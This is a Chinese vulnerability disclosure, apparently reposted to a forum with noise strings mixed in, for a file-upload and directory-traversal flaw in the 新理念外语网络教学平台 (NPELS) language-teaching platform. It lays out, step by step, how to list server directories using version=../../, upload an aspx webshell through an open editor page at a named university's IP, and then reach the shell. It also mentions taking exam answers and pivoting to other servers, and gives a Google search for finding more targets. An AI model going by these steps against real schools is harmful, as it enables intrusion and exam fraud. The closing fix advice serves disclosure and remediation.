新理念外语网络教学平台文件上传漏洞

admin

好多大学都在用这个教学平台，这个漏洞会导致直接拿到试题答案，甚至作为跳板继续渗透进入学校其他服务器中
2 s- p1 d% e; t1 D$ U* I
详细说明：
( D1 K8 |! \9 \7 P( Q& T, z) j- o
以南开大学的为例:
http://222.30.60.3/NPELS
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
/ c( I3 Z' h" B<setting name="Update_CommonSvr_CommonService" serializeAs="String">
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
</setting>
及版本号
8 Z  |9 I3 v; Y% S9 f<add key="TVersion" value="1, 0, 0, 2187">
</add>
3 u: E, v5 Y# S/ x直接访问
http://222.30.60.3/NPELS/CommonService.asmx
! E9 W7 K) t; I* o2 N9 Y3 N& V使用GetTestClientFileList操作，直接 HTTP GET 列目录：
http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
7 \+ M2 `- _- b+ h7 ^  E% Q& E进一步列目录（返回的网页很大，可以直接 wget 下来）
http://222.30.60.3/NPELS/CommonS ... List?version=../../
* ]/ J3 x" r2 N1 b7 ?" [- N8 }9 Z
发现
  h" ~" R2 z0 G( W- A( b  i, phttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
可以上传，直接上传aspx木马即可，不需要改后缀名或者文件头
5 w: p9 P( ^. e  f( }上传后继续列目录找到木马地址直接访问即可
. y' U. x) C% \5 r; v) s9 g; x/ x
OOXX
. z, a3 w5 W3 s* w
. f0 k$ q1 t0 H8 x! U/ UGoogle "新理念外语网络教学平台" 测试了几个其他的站，都有类似的列目录上传方法
0 e  e" }% h% Q/ h  s8 _, z6 b% G漏洞证明：
  U+ y7 B8 A. j
" X) K7 H3 b* [. E. U% x列目录：
http://222.30.60.3/NPELS/CommonS ... List?version=../../
文件上传：
http://222.30.60.3/npelsv/editor/editor.htm
! `5 p( G9 y; I2 n
) c% H" \( I+ @6 ~  a+ d上传木马：
% K8 ~2 R6 T3 M& H( @1 lhttp://222.30.60.3/npelsv/editor/uploadfiles/1.aspx

# @% I/ C+ h+ m3 W9 o修复方案：
% B6 A; W& V: `6 J7 S好像考试系统必须使用 CommonService.asmx
2 K, h% H; O; B! v- D" ]最好配置文件加密或者用别的方式不让它泄露出来
$ ^1 R2 t5 k$ Y& g; t: t# g. M并且检查或删除各上传入口，像 http://222.30.60.3/NPELS/Upload.aspx 一样​